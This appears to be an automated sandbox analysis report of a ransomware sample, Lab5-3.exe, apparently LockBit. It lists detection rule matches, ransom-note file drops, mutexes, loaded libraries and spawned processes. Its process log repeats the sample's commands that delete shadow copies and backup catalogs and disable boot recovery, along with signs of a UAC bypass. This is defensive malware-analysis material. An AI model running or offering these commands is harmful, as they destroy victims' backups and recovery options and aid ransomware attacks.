Source: 34.0.Lab5-3.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICOUS_EXE_References_VEEAM description = Detects executables containing many references to VEEAM. Observed in ransomware
Source: 19.0.Lab5-3.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 19.0.Lab5-3.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICOUS_EXE_References_VEEAM description = Detects executables containing many references to VEEAM. Observed in ransomware
Source: 27.0.Lab5-3.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 27.0.Lab5-3.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICOUS_EXE_References_VEEAM description = Detects executables containing many references to VEEAM. Observed in ransomware
Source: 19.2.Lab5-3.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 19.2.Lab5-3.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICOUS_EXE_References_VEEAM description = Detects executables containing many references to VEEAM. Observed in ransomware

Source: Lab5-3.exe, 00000028.00000003.3174022235.000000001A02B000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: F.vbp

Source: classification engine

Classification label: mal100.rans.spre.expl.evad.winEXE@170/2848@4/100

Source: C:\Users\user\Desktop\Lab5-3.exe

Code function: 19_2_00410170 NetApiBufferFree,RtlEnterCriticalSection,lstrcmpiW,lstrcmpiW,wsprintfW,wsprintfW,FindFirstFileExW,RtlLeaveCriticalSection,ExitThread,FindClose,wsprintfW,CreateFileW,RtlLeaveCriticalSection,ExitThread,malloc,RtlLeaveCriticalSection,SHEmptyRecycleBinW,GetDiskFreeSpaceExW,SetThreadUILanguage,StrFormatByteSize64A,StrFormatByteSize64A,StrFormatByteSize64A,wsprintfA,CloseHandle,DeleteFileW,ExitThread,

19_2_00410170

Source: C:\Users\user\Desktop\Lab5-3.exe

Code function: 19_2_00416710 CreateToolhelp32Snapshot,CloseHandle,Process32First,GetCurrentProcessId,OpenProcess,TerminateProcess,CloseHandle,Process32Next,CloseHandle,GetCurrentProcessId,OpenProcess,TerminateProcess,CloseHandle,

19_2_00416710

Source: C:\Users\user\Desktop\Lab5-3.exe

File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\activity-badge\js\nls\sl-si\Restore-My-Files.txt

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:11840:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:12132:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:9464:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:12016:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:11944:120:WilError_03
Source: C:\Users\user\Desktop\Lab5-3.exe	Mutant created: \Sessions\1\BaseNamedObjects\Global\{BEF590BE-11A6-442A-A85B-656C1081E04C}
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:9380:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2316:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:9840:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:12216:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:11108:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:11796:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8708:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:9728:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5024:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:12080:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7496:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8804:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:11852:120:WilError_03

Source: C:\Users\user\Desktop\Lab5-3.exe

File created: C:\Documents and Settings\user\Local Settings\Temp\Restore-My-Files.txt

Jump to behavior

Source: Lab5-3.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\Lab5-3.exe

File read: C:\$RECYCLE.BIN\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\Lab5-3.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: wctF86A.tmp.lockbit.0.dr	Binary or memory string: INSERT INTO %Q.%s VALUES('index',%Q,%Q,#%d,%Q);
Source: wctF86A.tmp.lockbit.0.dr	Binary or memory string: UPDATE "%w".%s SET sql = sqlite_rename_parent(sql, %Q, %Q) WHERE %s;
Source: wctF86A.tmp.lockbit.0.dr	Binary or memory string: UPDATE sqlite_temp_master SET sql = sqlite_rename_trigger(sql, %Q), tbl_name = %Q WHERE %s;
Source: wctF86A.tmp.lockbit.0.dr	Binary or memory string: UPDATE %Q.%s SET sql = CASE WHEN type = 'trigger' THEN sqlite_rename_trigger(sql, %Q)ELSE sqlite_rename_table(sql, %Q) END, tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqlite_autoindex%%' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');

Source: Lab5-3.exe

ReversingLabs: Detection: 96%

Source: unknown	Process created: C:\Users\user\Desktop\Lab5-3.exe "C:\Users\user\Desktop\Lab5-3.exe"
Source: C:\Users\user\Desktop\Lab5-3.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\Lab5-3.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\vssadmin.exe vssadmin delete shadows /all /quiet
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://%3cfnc1%3e(79)/
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2056 --field-trial-handle=1996,i,10208007017991637576,12589176499533245041,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic shadowcopy delete
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\bcdedit.exe bcdedit /set {default} bootstatuspolicy ignoreallfailures
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\bcdedit.exe bcdedit /set {default} recoveryenabled no
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbadmin.exe wbadmin delete catalog -quiet
Source: unknown	Process created: C:\Windows\System32\wbengine.exe "C:\Windows\system32\wbengine.exe"
Source: unknown	Process created: C:\Windows\System32\vdsldr.exe C:\Windows\System32\vdsldr.exe -Embedding
Source: unknown	Process created: C:\Windows\System32\vds.exe C:\Windows\System32\vds.exe
Source: unknown	Process created: C:\Users\user\Desktop\Lab5-3.exe "C:\Users\user\Desktop\Lab5-3.exe"
Source: C:\Users\user\Desktop\Lab5-3.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Users\user\Desktop\Lab5-3.exe "C:\Users\user\Desktop\Lab5-3.exe"
Source: C:\Users\user\Desktop\Lab5-3.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\Lab5-3.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\vssadmin.exe vssadmin delete shadows /all /quiet
Source: unknown	Process created: C:\Users\user\Desktop\Lab5-3.exe "C:\Users\user\Desktop\Lab5-3.exe"
Source: C:\Users\user\Desktop\Lab5-3.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic shadowcopy delete
Source: unknown	Process created: C:\Users\user\Desktop\Lab5-3.exe "C:\Users\user\Desktop\Lab5-3.exe"
Source: C:\Users\user\Desktop\Lab5-3.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\bcdedit.exe bcdedit /set {default} bootstatuspolicy ignoreallfailures
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\bcdedit.exe bcdedit /set {default} recoveryenabled no
Source: C:\Users\user\Desktop\Lab5-3.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\vssadmin.exe vssadmin delete shadows /all /quiet
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbadmin.exe wbadmin delete catalog -quiet
Source: C:\Users\user\Desktop\Lab5-3.exe	Process created: C:\Windows\System32\cmd.exe /c vssadmin Delete Shadows /All /Quiet
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\vssadmin.exe vssadmin Delete Shadows /All /Quiet
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic shadowcopy delete
Source: C:\Users\user\Desktop\Lab5-3.exe	Process created: C:\Windows\System32\cmd.exe /c bcdedit /set {default} recoveryenabled No
Source: C:\Users\user\Desktop\Lab5-3.exe	Process created: C:\Windows\System32\cmd.exe /c vssadmin Delete Shadows /All /Quiet
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\Lab5-3.exe	Process created: C:\Windows\System32\cmd.exe /c bcdedit /set {default} bootstatuspolicy ignoreallfailures
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\bcdedit.exe bcdedit /set {default} recoveryenabled No
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\bcdedit.exe bcdedit /set {default} bootstatuspolicy ignoreallfailures
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\vssadmin.exe vssadmin Delete Shadows /All /Quiet
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\bcdedit.exe bcdedit /set {default} recoveryenabled no
Source: C:\Users\user\Desktop\Lab5-3.exe	Process created: C:\Windows\System32\cmd.exe /c bcdedit /set {default} recoveryenabled No
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\Lab5-3.exe	Process created: C:\Windows\System32\cmd.exe /c bcdedit /set {default} bootstatuspolicy ignoreallfailures
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\Lab5-3.exe	Process created: C:\Windows\System32\cmd.exe /c wbadmin DELETE SYSTEMSTATEBACKUP
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\bcdedit.exe bcdedit /set {default} recoveryenabled No
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\bcdedit.exe bcdedit /set {default} bootstatuspolicy ignoreallfailures
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\Lab5-3.exe	Process created: C:\Windows\System32\cmd.exe /c wbadmin DELETE SYSTEMSTATEBACKUP -deleteOldest
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbadmin.exe wbadmin DELETE SYSTEMSTATEBACKUP
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbadmin.exe wbadmin delete catalog -quiet
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\Lab5-3.exe	Process created: C:\Windows\System32\cmd.exe /c wmic SHADOWCOPY /nointeractive
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbadmin.exe wbadmin DELETE SYSTEMSTATEBACKUP -deleteOldest
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\Lab5-3.exe	Process created: C:\Windows\System32\cmd.exe /c wbadmin DELETE SYSTEMSTATEBACKUP
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\bcdedit.exe bcdedit /set {default} bootstatuspolicy ignoreallfailures
Source: C:\Users\user\Desktop\Lab5-3.exe	Process created: C:\Windows\System32\cmd.exe /c wbadmin DELETE SYSTEMSTATEBACKUP -deleteOldest
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\bcdedit.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\vssadmin.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\conhost.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\conhost.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\conhost.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\Lab5-3.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\vssadmin.exe vssadmin delete shadows /all /quiet
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic shadowcopy delete
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\bcdedit.exe bcdedit /set {default} bootstatuspolicy ignoreallfailures
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\bcdedit.exe bcdedit /set {default} recoveryenabled no
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbadmin.exe wbadmin delete catalog -quiet
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2056 --field-trial-handle=1996,i,10208007017991637576,12589176499533245041,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Users\user\Desktop\Lab5-3.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet
Source: C:\Users\user\Desktop\Lab5-3.exe	Process created: C:\Windows\System32\cmd.exe /c vssadmin Delete Shadows /All /Quiet
Source: C:\Users\user\Desktop\Lab5-3.exe	Process created: C:\Windows\System32\cmd.exe /c bcdedit /set {default} recoveryenabled No
Source: C:\Users\user\Desktop\Lab5-3.exe	Process created: C:\Windows\System32\cmd.exe /c bcdedit /set {default} bootstatuspolicy ignoreallfailures
Source: C:\Users\user\Desktop\Lab5-3.exe	Process created: C:\Windows\System32\cmd.exe /c wbadmin DELETE SYSTEMSTATEBACKUP
Source: C:\Users\user\Desktop\Lab5-3.exe	Process created: C:\Windows\System32\cmd.exe /c wbadmin DELETE SYSTEMSTATEBACKUP -deleteOldest
Source: C:\Users\user\Desktop\Lab5-3.exe	Process created: C:\Windows\System32\bcdedit.exe bcdedit /set {default} recoveryenabled No
Source: C:\Users\user\Desktop\Lab5-3.exe	Process created: unknown unknown
Source: C:\Users\user\Desktop\Lab5-3.exe	Process created: C:\Windows\System32\vssadmin.exe vssadmin delete shadows /all /quiet
Source: C:\Users\user\Desktop\Lab5-3.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\Lab5-3.exe	Process created: unknown unknown
Source: C:\Users\user\Desktop\Lab5-3.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\Lab5-3.exe	Process created: unknown unknown
Source: C:\Users\user\Desktop\Lab5-3.exe	Process created: unknown unknown
Source: C:\Users\user\Desktop\Lab5-3.exe	Process created: unknown unknown
Source: C:\Users\user\Desktop\Lab5-3.exe	Process created: unknown unknown
Source: C:\Users\user\Desktop\Lab5-3.exe	Process created: unknown unknown
Source: C:\Users\user\Desktop\Lab5-3.exe	Process created: unknown unknown
Source: C:\Users\user\Desktop\Lab5-3.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\vssadmin.exe vssadmin delete shadows /all /quiet
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic shadowcopy delete
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\bcdedit.exe bcdedit /set {default} bootstatuspolicy ignoreallfailures
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\bcdedit.exe bcdedit /set {default} recoveryenabled no
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbadmin.exe wbadmin delete catalog -quiet
Source: C:\Users\user\Desktop\Lab5-3.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet
Source: C:\Users\user\Desktop\Lab5-3.exe	Process created: C:\Windows\System32\cmd.exe /c vssadmin Delete Shadows /All /Quiet
Source: C:\Users\user\Desktop\Lab5-3.exe	Process created: C:\Windows\System32\cmd.exe /c bcdedit /set {default} recoveryenabled No
Source: C:\Users\user\Desktop\Lab5-3.exe	Process created: C:\Windows\System32\cmd.exe /c bcdedit /set {default} bootstatuspolicy ignoreallfailures
Source: C:\Users\user\Desktop\Lab5-3.exe	Process created: C:\Windows\System32\cmd.exe /c wbadmin DELETE SYSTEMSTATEBACKUP
Source: C:\Users\user\Desktop\Lab5-3.exe	Process created: C:\Windows\System32\cmd.exe /c wbadmin DELETE SYSTEMSTATEBACKUP -deleteOldest
Source: C:\Users\user\Desktop\Lab5-3.exe	Process created: C:\Windows\System32\cmd.exe /c wmic SHADOWCOPY /nointeractive
Source: C:\Users\user\Desktop\Lab5-3.exe	Process created: unknown unknown
Source: C:\Users\user\Desktop\Lab5-3.exe	Process created: unknown unknown
Source: C:\Users\user\Desktop\Lab5-3.exe	Process created: unknown unknown
Source: C:\Users\user\Desktop\Lab5-3.exe	Process created: unknown unknown
Source: C:\Users\user\Desktop\Lab5-3.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\Lab5-3.exe	Process created: unknown unknown
Source: C:\Users\user\Desktop\Lab5-3.exe	Process created: unknown unknown
Source: C:\Users\user\Desktop\Lab5-3.exe	Process created: unknown unknown
Source: C:\Users\user\Desktop\Lab5-3.exe	Process created: unknown unknown
Source: C:\Users\user\Desktop\Lab5-3.exe	Process created: unknown unknown
Source: C:\Users\user\Desktop\Lab5-3.exe	Process created: unknown unknown
Source: C:\Users\user\Desktop\Lab5-3.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\vssadmin.exe vssadmin delete shadows /all /quiet
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic shadowcopy delete
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\bcdedit.exe bcdedit /set {default} bootstatuspolicy ignoreallfailures
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\bcdedit.exe bcdedit /set {default} recoveryenabled no
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbadmin.exe wbadmin delete catalog -quiet
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\vssadmin.exe vssadmin Delete Shadows /All /Quiet
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\bcdedit.exe bcdedit /set {default} recoveryenabled No
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\vssadmin.exe vssadmin Delete Shadows /All /Quiet
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\bcdedit.exe bcdedit /set {default} bootstatuspolicy ignoreallfailures
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\bcdedit.exe bcdedit /set {default} recoveryenabled No
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\bcdedit.exe bcdedit /set {default} bootstatuspolicy ignoreallfailures
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbadmin.exe wbadmin DELETE SYSTEMSTATEBACKUP
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbadmin.exe wbadmin DELETE SYSTEMSTATEBACKUP -deleteOldest
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown

Source: C:\Users\user\Desktop\Lab5-3.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Section loaded: cscapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Section loaded: browcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Section loaded: slc.dll	Jump to behavior
